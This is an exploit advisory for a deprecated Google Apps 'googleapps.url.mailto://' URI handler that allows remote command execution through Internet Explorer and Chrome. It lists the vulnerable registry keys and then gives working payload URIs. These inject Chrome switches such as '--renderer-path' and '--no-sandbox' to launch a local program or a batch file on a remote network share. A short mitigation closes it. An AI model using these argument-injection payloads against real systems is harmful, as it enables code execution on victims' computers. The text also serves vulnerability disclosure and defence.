Google Apps googleapps.url.mailto:// URI handler cross-browser remote command execution exploit.
0c678e6cf7fc660120636d96067744edfdfd49cbd4c321b556f33790b0924c47
google apps googleapps.url.mailto:// uri handler cross-browser remote command execution exploit (Internet Explorer)
by nine:situations:group::pyrokinesis
site: http://retrogod.altervista.org/
software site: http://pack.google.com/intl/it/pack_installer.html
tested against: Internet Explorer 8, windows xp sp3
Internet Explorer 7, windows xp sp3
Google Chrome 2.0.172.43
vulnerability:
through the vulnerable googleapps.url.mailto:// deprecated uri handler, registered as follows:
[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto]
@="Google Apps URL"
"EditFlags"=hex:02,00,00,00
"FriendlyTypeName"="Google Apps URL"
"URL Protocol"=""
[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\DefaultIcon]
@="C:\\Programmi\\Google\\Google Apps\\googleapps.exe,0"
[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell]
[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open]
[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open\command]
@="C:\\Programmi\\Google\\Google Apps\\googleapps.exe --mailto.google.com=\"%1\""
is possibile, against all versions of Internet Explorer, by injecting the "--domain=" switch
for the googleapps.exe executable to pass arbitrary switches to the Google Chrome chrome.exe
executable (which is subsequently launched to open the gmail pages),
example: the --renderer-path and --no-sandbox switches
Through them is possible to launch an arbitrary executable from the local system:
googleapps.url.mailto://"%20--domain="--what%20--renderer-path=calc%20--no-sandbox%20--x"/
or to launch an arbitrary batch file from a remote network share:
googleapps.url.mailto://"%20--domain="--x%20--renderer-path=\\192.168.0.1\uncshare\sh.bat%20--no-sandbox%20--x"/
the resulting command line for chrome.exe is in this case:
"C:\Programmi\Google\Chrome\Application\chrome.exe" --app=https://mail.google.com/a/--x --renderer-path=\\192.168.0.1\uncshare\sh.bat --no-sandbox
--x//?view=cm&fs=1&to=googleapps.url.mailto%3A%2F%2F&rlz=1R6GPCK_en___IT344
which leverages the remote command execution issue
Mitigation:
unregister the uri handler by deleting the mentioned registry keys